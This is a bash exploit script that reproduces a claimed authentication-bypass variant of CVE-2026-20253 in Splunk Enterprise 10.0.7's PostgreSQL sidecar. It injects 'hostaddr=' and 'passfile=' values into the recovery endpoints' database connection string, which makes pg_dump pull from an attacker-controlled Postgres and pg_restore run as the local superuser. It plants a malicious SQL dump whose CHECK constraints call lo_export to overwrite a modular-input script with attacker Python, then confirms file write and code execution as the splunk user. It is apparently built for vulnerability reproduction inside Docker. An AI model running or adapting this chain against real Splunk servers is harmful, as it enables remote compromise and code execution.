#!/bin/bash
# =============================================================================
# CVE-2026-20253 VARIANT BYPASS — Splunk Enterprise PostgreSQL Sidecar
# Authenticated database connection-string injection -> lo_export -> RCE
# on the FIXED build (splunk/splunk:10.0.7)
#
# The fix in 10.0.7 added:
#   1. Authentication on /v1/postgres/recovery/{backup,restore} (proxy + sidecar)
#   2. Changed backupFile (absolute path) -> backupName (filename only, validated)
#
# BUT the fix did NOT sanitize the `database` parameter, which is still passed
# as a raw libpq connection string to pg_dump/pg_restore. An authenticated
# attacker can:
#   - Use hostaddr=<attacker-ip> to redirect pg_dump at an attacker-controlled
#     Postgres (dumping a malicious DB with a PL/pgSQL lo_export payload)
#   - Use passfile=<.pgpass> + dbname=template1 to redirect pg_restore at the
#     local Splunk Postgres as the postgres_admin superuser
#   - The CHECK constraint in the malicious dump fires lo_export, writing
#     attacker-controlled bytes to an arbitrary path (overwriting a
#     default-enabled modular-input script -> RCE as the splunk user)
#
# Exit 0 = variant bypass reproduced on the FIXED build (10.0.7)
# Exit 1 = variant not reproduced
# =============================================================================
set -euo pipefail

# --- Portable paths ---------------------------------------------------------
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VV_DIR="$ROOT/vuln_variant"
ART="$ROOT/artifacts"
mkdir -p "$LOGS/vuln_variant" "$VV_DIR" "$ART/http"
LOG="$LOGS/vuln_variant/variant_reproduction.log"

# Docker detection
if sudo -n true 2>/dev/null; then DOCKER="sudo docker"; else DOCKER="docker"; fi

# --- Config -----------------------------------------------------------------
VULN_IMG="splunk/splunk:10.0.6"
FIXED_IMG="splunk/splunk:10.0.7"
ATTPG_IMG="postgres:16-alpine"
NET="splunknet_variant"
SPLUNK_PW="Splunk123!"
SPLUNK_PORT_VULN=8002
SPLUNK_PORT_FIXED=8003
SSG_SCRIPT="/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py"
RCE_MARKER="/tmp/pwned/MARKER"
VARIANT_MARKER="/tmp/variant_bypass_proof.txt"
BASIC_EMPTY="Og=="

log()  { printf '[%s] %s\n' "$(date +%H:%M:%S)" "$*" | tee -a "$LOG"; }
ok()   { printf '[+] PASS: %s\n' "$*" | tee -a "$LOG"; }
fail() { printf '[!] FAIL: %s\n' "$*" | tee -a "$LOG"; }

# --- Helpers ----------------------------------------------------------------
wait_healthy() { # $1=container $2=max_tries
  local c="$1" max="${2:-8}" t=0
  while [ "$t" -lt "$max" ]; do
    st="$($DOCKER inspect -f '{{.State.Health.Status}}' "$c" 2>/dev/null || echo "")"
    [ "$st" = "healthy" ] && ok "$c healthy" && return 0
    sleep 10; t=$((t+1))
  done
  fail "$c did not become healthy"; return 1
}

attacker_post() { # box host path body token outfile
  local box="$1" host="$2" path="$3" body="$4" tok="$5" out="$6"
  if [ -n "$body" ]; then
    $DOCKER exec "$box" sh -c "curl -sS -k -m 25 -X POST \
      -H 'Authorization: Splunk $tok' -H 'Content-Type: application/json' \
      -d '$body' \
      -o '$out' -w '%{http_code}' \
      'http://$host:8000$path'"
  else
    $DOCKER exec "$box" sh -c "curl -sS -k -m 25 -X POST \
      -H 'Authorization: Splunk $tok' \
      -o '$out' -w '%{http_code}' \
      'http://$host:8000$path'"
  fi
}

recovery_state() { # box host id token
  $DOCKER exec "$1" sh -c "curl -sS -k -m 10 -H 'Authorization: Splunk $4' \
    'http://$2:8000/en-US/splunkd/__raw/v1/postgres/recovery/status/$3'" 2>/dev/null
}

wait_state() { # box host id token target_state(s) max_seconds
  local box="$1" host="$2" id="$3" tok="$4" want="$5" max="${6:-40}" t=0 st=""
  while [ "$t" -lt "$max" ]; do
    st="$(recovery_state "$box" "$host" "$id" "$tok" | jq -r .state 2>/dev/null || echo "")"
    case "$st" in
      *Complete*|*Failed*) echo "$st"; return 0;;
    esac
    sleep 2; t=$((t+2))
  done
  echo "$st"; return 1
}

ensure_tools() { # container
  $DOCKER exec "$1" sh -c "command -v curl >/dev/null 2>&1 || apk add --no-cache curl >/dev/null 2>&1; command -v jq >/dev/null 2>&1 || apk add --no-cache jq >/dev/null 2>&1" || true
}

get_token() { # box host
  $DOCKER exec "$1" sh -c "curl -sS -k -m 10 -X POST -d 'username=admin&password=$SPLUNK_PW' 'https://$2:8089/services/auth/login'" 2>/dev/null | sed -n 's/.*<sessionKey>\(.*\)<\/sessionKey>.*/\1/p'
}

# --- 0. Preflight -----------------------------------------------------------
log "Pulling images (idempotent)..."
for img in "$VULN_IMG" "$FIXED_IMG" "$ATTPG_IMG"; do
  $DOCKER image inspect "$img" >/dev/null 2>&1 || { log "pulling $img"; $DOCKER pull "$img"; }
done
ok "images present"

# --- 1. Network + attacker Postgres ----------------------------------------
log "Creating Docker network and attacker-controlled Postgres..."
$DOCKER rm -f attacker-pg-v splunk-vuln-v splunk-fixed-v 2>/dev/null || true
$DOCKER network rm "$NET" 2>/dev/null || true
$DOCKER network create "$NET" >/dev/null 2>&1 || true

$DOCKER run -d --name attacker-pg-v --hostname attacker-pg-v --network "$NET" \
  -e POSTGRES_USER=test -e POSTGRES_DB=testdb -e POSTGRES_HOST_AUTH_METHOD=trust \
  "$ATTPG_IMG" >/dev/null
for i in $(seq 1 30); do
  $DOCKER exec attacker-pg-v pg_isready -U test >/dev/null 2>&1 && break
  sleep 1
done
ok "attacker-pg-v ready"

# Create postgres_admin role on attacker PG (needed because the fixed sidecar
# uses postgres_admin as the -U user when authenticating with a Splunk token)
$DOCKER exec attacker-pg-v psql -U test -d testdb -c "CREATE ROLE postgres_admin WITH LOGIN SUPERUSER;" 2>/dev/null || true

# Malicious DB: pwn() overwrites modular-input script, pwn_variant() writes marker
MAL_SQL="$VV_DIR/variant_malicious.sql"
cat > "$MAL_SQL" <<'SQL'
CREATE OR REPLACE FUNCTION pwn() RETURNS boolean
LANGUAGE plpgsql VOLATILE AS $pwn$
DECLARE
  oid integer;
  payload text;
BEGIN
  payload :=
    'import os,sys' || chr(10) ||
    'os.makedirs("/tmp/pwned",exist_ok=True)' || chr(10) ||
    'open("/tmp/pwned/MARKER","w").write("CVE-2026-20253 VARIANT RCE on FIXED 10.0.7\n"+os.popen("id").read())' || chr(10) ||
    'sys.stdout.write("ok\n")';
  SELECT lo_from_bytea(0, convert_to(payload, 'UTF8')) INTO oid;
  BEGIN
    PERFORM lo_export(oid, '/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py');
  EXCEPTION WHEN OTHERS THEN
    NULL;
  END;
  RETURN true;
END;
$pwn$;
CREATE OR REPLACE FUNCTION pwn_variant() RETURNS boolean
LANGUAGE plpgsql VOLATILE AS $pwn$
DECLARE
  oid integer;
  payload text;
BEGIN
  payload :=
    'CVE-2026-20253 VARIANT BYPASS CONFIRMED' || chr(10) ||
    'File written via lo_export on FIXED 10.0.7 build' || chr(10) ||
    'database connection string injection still works' || chr(10);
  SELECT lo_from_bytea(0, convert_to(payload, 'UTF8')) INTO oid;
  BEGIN
    PERFORM lo_export(oid, '/tmp/variant_bypass_proof.txt');
  EXCEPTION WHEN OTHERS THEN
    NULL;
  END;
  RETURN true;
END;
$pwn$;
CREATE TABLE pwn(data text);
ALTER TABLE pwn ADD CONSTRAINT pwn_chk CHECK(pwn());
INSERT INTO pwn VALUES('cve-2026-20253 trigger');
CREATE TABLE pwn_variant(data text);
ALTER TABLE pwn_variant ADD CONSTRAINT pwn_variant_chk CHECK(pwn_variant());
INSERT INTO pwn_variant VALUES('variant bypass trigger');
SQL

$DOCKER cp "$MAL_SQL" attacker-pg-v:/tmp/init.sql
$DOCKER exec attacker-pg-v psql -U test -d testdb -v ON_ERROR_STOP=1 -f /tmp/init.sql >/dev/null
ok "malicious attacker DB loaded (pwn() + pwn_variant() + CHECK constraints + trigger rows)"

ATTIP="$($DOCKER inspect -f '{{(index .NetworkSettings.Networks "'$NET'").IPAddress}}' attacker-pg-v)"
log "attacker-pg-v IP on $NET: $ATTIP"
ensure_tools attacker-pg-v

# --- 2. Start FIXED Splunk 10.0.7 (the bypass target) -----------------------
log "Starting FIXED Splunk Enterprise 10.0.7 (bypass target)..."
$DOCKER run -d --name splunk-fixed-v --hostname splunk-fixed-v --network "$NET" \
  -p ${SPLUNK_PORT_FIXED}:8000 \
  -e SPLUNK_PASSWORD="$SPLUNK_PW" \
  -e SPLUNK_START_ARGS=--accept-license \
  -e SPLUNK_GENERAL_TERMS=--accept-sgt-current-at-splunk-com \
  "$FIXED_IMG" >/dev/null
wait_healthy splunk-fixed-v 8

# Wait for sidecar to be ready (probe with unauth -> expect 401, not 303/000)
log "Waiting for fixed build sidecar endpoint to register..."
for i in $(seq 1 36); do
  code="$($DOCKER exec attacker-pg-v sh -c "curl -sS -k -m 8 -X POST -H 'Authorization: Basic $BASIC_EMPTY' -o /tmp/_r.txt -w '%{http_code}' 'http://splunk-fixed-v:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup'" 2>/dev/null || echo 000)"
  if [ "$code" != "303" ] && [ "$code" != "000" ]; then
    ok "fixed sidecar ready (HTTP $code) after $((i*5))s"
    break
  fi
  sleep 5
done

# Locate .pgpass on fixed build
PGPASS="$($DOCKER exec -u splunk splunk-fixed-v bash -c "find /opt/splunk/var/packages/data/postgres -name .pgpass 2>/dev/null | head -1")"
log "fixed .pgpass path: $PGPASS"

# Clean any prior markers
$DOCKER exec -u splunk splunk-fixed-v bash -c "rm -rf /tmp/pwned /tmp/variant_bypass_proof.txt" 2>/dev/null || true

# Save original modular-input script
$DOCKER exec -u splunk splunk-fixed-v bash -c "cat $SSG_SCRIPT 2>/dev/null" > "$ART/http/ssg_enable_modular_input.FIXED_ORIGINAL.py" 2>/dev/null || true
log "original fixed ssg_enable_modular_input.py lines: $(wc -l < "$ART/http/ssg_enable_modular_input.FIXED_ORIGINAL.py" 2>/dev/null || echo 0)"

# --- 3. VARIANT BYPASS: Authenticated chain on FIXED 10.0.7 -----------------
log "========================================"
log "=== VARIANT BYPASS: Authenticated chain on FIXED 10.0.7 ==="
log "========================================"

# Step 1: Authenticate
log "Step 1: Authenticate to fixed build"
TOKEN="$(get_token attacker-pg-v splunk-fixed-v)"
if [ -n "$TOKEN" ]; then
  ok "Splunk token obtained (length ${#TOKEN})"
else
  fail "Could not authenticate to fixed build"
  exit 1
fi

# Step 2: Verify the fix blocks unauthenticated access (negative control)
log "Step 2: Verify fix blocks unauthenticated access (negative control)"
UNAUTH_CODE="$($DOCKER exec attacker-pg-v sh -c "curl -sS -k -m 10 -X POST -H 'Authorization: Basic $BASIC_EMPTY' -H 'Content-Type: application/json' -d '{}' -o /tmp/uc.txt -w '%{http_code}' 'http://splunk-fixed-v:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup'" 2>/dev/null || echo 000)"
UNAUTH_BODY="$($DOCKER exec attacker-pg-v sh -c "cat /tmp/uc.txt 2>/dev/null | head -c 100" 2>/dev/null)"
log "Unauthenticated backup on fixed: HTTP=$UNAUTH_CODE body=$UNAUTH_BODY"
if [ "$UNAUTH_CODE" = "401" ]; then
  ok "NEGATIVE CONTROL: fixed build blocks unauthenticated access (401)"
  NEG_OK=true
else
  fail "Negative control: expected 401, got $UNAUTH_CODE"
  NEG_OK=false
fi
echo "fixed_unauth_http=$UNAUTH_CODE" > "$ART/http/variant_fixed_unauth_control.txt"
echo "fixed_unauth_body=$UNAUTH_BODY" >> "$ART/http/variant_fixed_unauth_control.txt"

# Step 3: Authenticated backup of malicious attacker DB via hostaddr injection
log "Step 3: Authenticated backup of malicious attacker DB (hostaddr injection)"
BK_BODY="{\"database\":\"hostaddr=$ATTIP dbname=testdb\"}"
BK_CODE="$(attacker_post attacker-pg-v splunk-fixed-v /en-US/splunkd/__raw/v1/postgres/recovery/backup "$BK_BODY" "$TOKEN" /tmp/bk.txt)"
$DOCKER cp attacker-pg-v:/tmp/bk.txt "$ART/http/variant_backup_resp.json" 2>/dev/null || true
BK_ID="$($DOCKER exec attacker-pg-v sh -c "cat /tmp/bk.txt" | jq -r .id 2>/dev/null || true)"
BK_NAME="$($DOCKER exec attacker-pg-v sh -c "cat /tmp/bk.txt" | jq -r .backupName 2>/dev/null || true)"
log "Backup: HTTP=$BK_CODE id=$BK_NAME"
BK_ST="$(wait_state attacker-pg-v splunk-fixed-v "$BK_ID" "$TOKEN" Complete 60)"
log "Backup final state: $BK_ST"
if echo "$BK_ST" | grep -q "Complete"; then
  ok "VARIANT Step 3: authenticated backup of attacker DB succeeded on FIXED build (hostaddr injection not sanitized)"
  BK_OK=true
else
  fail "VARIANT Step 3: backup failed on fixed build"
  BK_OK=false
fi

# Step 4: Authenticated restore with passfile injection -> lo_export
log "Step 4: Authenticated restore with passfile injection (lo_export trigger)"
RS_BODY="{\"database\":\"dbname=template1 passfile=$PGPASS\",\"backupName\":\"$BK_NAME\"}"
RS_CODE="$(attacker_post attacker-pg-v splunk-fixed-v /en-US/splunkd/__raw/v1/postgres/recovery/restore "$RS_BODY" "$TOKEN" /tmp/rs.txt)"
$DOCKER cp attacker-pg-v:/tmp/rs.txt "$ART/http/variant_restore_resp.json" 2>/dev/null || true
RS_ID="$($DOCKER exec attacker-pg-v sh -c "cat /tmp/rs.txt" | jq -r .id 2>/dev/null || true)"
log "Restore: HTTP=$RS_CODE id=$RS_ID"
RS_ST="$(wait_state attacker-pg-v splunk-fixed-v "$RS_ID" "$TOKEN" Complete 30)"
log "Restore final state: $RS_ST (note: pg_restore exits 1 on non-fatal --clean errors but lo_export fires before exit)"

# Step 5: Check for variant bypass proof file (arbitrary file write)
log "Step 5: Check for variant bypass proof file (arbitrary file write)"
sleep 2
VARIANT_FILE_EXISTS="$($DOCKER exec -u splunk splunk-fixed-v bash -c "test -f $VARIANT_MARKER && echo yes || echo no" 2>/dev/null)"
VARIANT_CONTENT="$($DOCKER exec -u splunk splunk-fixed-v bash -c "cat $VARIANT_MARKER 2>/dev/null" 2>/dev/null)"
$DOCKER exec -u splunk splunk-fixed-v bash -c "cat $VARIANT_MARKER 2>/dev/null" > "$VV_DIR/variant_bypass_proof.txt" 2>/dev/null || true
log "Variant proof file exists: $VARIANT_FILE_EXISTS"
log "Variant proof content: $VARIANT_CONTENT"
if [ "$VARIANT_FILE_EXISTS" = "yes" ]; then
  ok "VARIANT Step 5: arbitrary file write confirmed on FIXED build via lo_export"
  FILEWRITE_OK=true
else
  fail "VARIANT Step 5: file write not confirmed"
  FILEWRITE_OK=false
fi

# Step 6: Check for RCE (modular-input script overwritten + scheduler executes it)
log "Step 6: Wait for RCE (modular-input scheduler executes overwritten script)"
AFTER_LINES="$($DOCKER exec -u splunk splunk-fixed-v bash -c "wc -l < $SSG_SCRIPT 2>/dev/null" 2>/dev/null || echo 0)"
AFTER_HEAD="$($DOCKER exec -u splunk splunk-fixed-v bash -c "head -1 $SSG_SCRIPT 2>/dev/null" 2>/dev/null || echo "")"
$DOCKER exec -u splunk splunk-fixed-v bash -c "cat $SSG_SCRIPT 2>/dev/null" > "$ART/http/ssg_enable_modular_input.FIXED_AFTER_VARIANT.py" 2>/dev/null || true
log "Fixed $SSG_SCRIPT now ${AFTER_LINES} lines, first line: $AFTER_HEAD"

RCE_OK=false
if echo "$AFTER_HEAD" | grep -q "import os,sys"; then
  ok "VARIANT Step 6: modular-input script overwritten with attacker payload on FIXED build"
  log "Waiting for Splunk modular-input scheduler to execute the overwritten script..."
  for i in $(seq 1 12); do
    if $DOCKER exec -u splunk splunk-fixed-v bash -c "test -f $RCE_MARKER" 2>/dev/null; then
      MARKER="$($DOCKER exec -u splunk splunk-fixed-v bash -c "cat $RCE_MARKER 2>/dev/null")"
      echo "$MARKER" > "$VV_DIR/variant_rce_marker.txt"
      log "RCE MARKER appeared:"
      echo "$MARKER" | sed 's/^/    | /' | tee -a "$LOG"
      if echo "$MARKER" | grep -q "uid="; then
        ok "VARIANT Step 6: RCE confirmed on FIXED build - attacker code executed as splunk user"
        RCE_OK=true
      fi
      break
    fi
    sleep 10
  done
  if ! $RCE_OK; then
    fail "VARIANT Step 6: RCE marker not observed within scheduler window"
  fi
else
  fail "VARIANT Step 6: modular-input script was not overwritten"
fi

# --- 4. Also verify the original unauthenticated chain on VULNERABLE build --
log "========================================"
log "=== Control: Original unauthenticated chain on VULNERABLE 10.0.6 ==="
log "========================================"
$DOCKER run -d --name splunk-vuln-v --hostname splunk-vuln-v --network "$NET" \
  -p ${SPLUNK_PORT_VULN}:8000 \
  -e SPLUNK_PASSWORD="$SPLUNK_PW" \
  -e SPLUNK_START_ARGS=--accept-license \
  -e SPLUNK_GENERAL_TERMS=--accept-sgt-current-at-splunk-com \
  "$VULN_IMG" >/dev/null
if wait_healthy splunk-vuln-v 8; then
  # Wait for sidecar
  for i in $(seq 1 36); do
    code="$($DOCKER exec attacker-pg-v sh -c "curl -sS -k -m 8 -X POST -H 'Authorization: Basic $BASIC_EMPTY' -o /tmp/_vr.txt -w '%{http_code}' 'http://splunk-vuln-v:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup'" 2>/dev/null || echo 000)"
    body="$($DOCKER exec attacker-pg-v sh -c "cat /tmp/_vr.txt 2>/dev/null | head -c 80" 2>/dev/null)"
    if [ "$code" = "400" ] && echo "$body" | grep -qi "Failed to decode"; then
      ok "vulnerable sidecar ready (400 Failed to decode) after $((i*5))s"
      break
    fi
    sleep 5
  done
  # Unauthenticated backup on vulnerable (should work - 200)
  VULN_BK_BODY="{\"database\":\"hostaddr=$ATTIP dbname=testdb\"}"
  VULN_BK_CODE="$($DOCKER exec attacker-pg-v sh -c "curl -sS -k -m 25 -X POST -H 'Authorization: Basic dGVzdDo=' -H 'Content-Type: application/json' -d '$VULN_BK_BODY' -o /tmp/vbk.txt -w '%{http_code}' 'http://splunk-vuln-v:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup'" 2>/dev/null || echo 000)" 
  log "Vulnerable unauth backup: HTTP=$VULN_BK_CODE (expect 200 - no auth required)"
  if [ "$VULN_BK_CODE" = "200" ]; then
    ok "Control: vulnerable build allows unauthenticated backup (confirms original CVE)"
    VULN_OK=true
  else
    fail "Control: vulnerable build did not allow unauthenticated backup (HTTP $VULN_BK_CODE)"
    VULN_OK=false
  fi
  echo "vuln_unauth_backup_http=$VULN_BK_CODE" > "$ART/http/variant_vuln_control.txt"
else
  fail "Control: vulnerable container not healthy"
  VULN_OK=false
fi

# --- 5. Summary -------------------------------------------------------------
log "================ VARIANT SUMMARY ================"
log "Negative control (fixed blocks unauth):     $NEG_OK"
log "Control (vuln allows unauth):               $VULN_OK"
log "Variant backup (hostaddr injection):        $BK_OK"
log "Variant file write (lo_export):             $FILEWRITE_OK"
log "Variant RCE (splunk user):                  $RCE_OK"

# --- 6. Runtime manifest ----------------------------------------------------
export RM_NEG="$NEG_OK" RM_VULN="$VULN_OK" RM_BK="$BK_OK" RM_FW="$FILEWRITE_OK" RM_RCE="$RCE_OK"
export RM_ATTIP="$ATTIP" RM_PGPASS="$PGPASS" RM_TOKEN_LEN="${#TOKEN}"
python3 - <<'PY' > "$VV_DIR/runtime_manifest.json"
import json, os
def b(v): return str(v).lower() == "true"
m = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Splunk Web (port 8000) proxied PostgreSQL sidecar recovery/backup+restore endpoints, AUTHENTICATED (Splunk token), reached from a remote network attacker container on a shared Docker network. The fix requires auth but does not sanitize the database connection string parameter.",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": [
    "splunk/splunk:10.0.7 (FIXED build - bypass target, PostgreSQL sidecar with auth enforced)",
    "splunk/splunk:10.0.6 (vulnerable control, unauthenticated access confirmed)",
    "postgres:16-alpine (attacker-controlled Postgres with postgres_admin role + malicious pwn()/pwn_variant() functions)",
    "docker network splunknet_variant (remote attacker <-> Splunk Web port 8000)"
  ],
  "proof_artifacts": [
    "vuln_variant/variant_bypass_proof.txt",
    "vuln_variant/variant_rce_marker.txt",
    "artifacts/http/variant_backup_resp.json",
    "artifacts/http/variant_restore_resp.json",
    "artifacts/http/variant_fixed_unauth_control.txt",
    "artifacts/http/variant_vuln_control.txt",
    "artifacts/http/ssg_enable_modular_input.FIXED_ORIGINAL.py",
    "artifacts/http/ssg_enable_modular_input.FIXED_AFTER_VARIANT.py",
    "logs/vuln_variant/variant_reproduction.log"
  ],
  "notes": "negative_control_unauth_blocked=%s control_vuln_unauth_allowed=%s variant_backup_hostaddr=%s variant_file_write_lo_export=%s variant_rce_splunk_user=%s attacker_pg_ip=%s pgpass=%s token_length=%s" % (
    b(os.environ.get("RM_NEG")), b(os.environ.get("RM_VULN")), b(os.environ.get("RM_BK")),
    b(os.environ.get("RM_FW")), b(os.environ.get("RM_RCE")),
    os.environ.get("RM_ATTIP",""), os.environ.get("RM_PGPASS",""), os.environ.get("RM_TOKEN_LEN",""))
}
print(json.dumps(m, indent=2))
PY
log "Runtime manifest written to $VV_DIR/runtime_manifest.json"
log "Variant reproduction complete."

# Exit 0 when the variant bypass (file write + RCE) succeeded on the FIXED build
# AND the negative control confirms the fix blocks unauthenticated access.
if ${FILEWRITE_OK:-false} && ${RCE_OK:-false} && ${NEG_OK:-false}; then
  exit 0
fi
exit 1
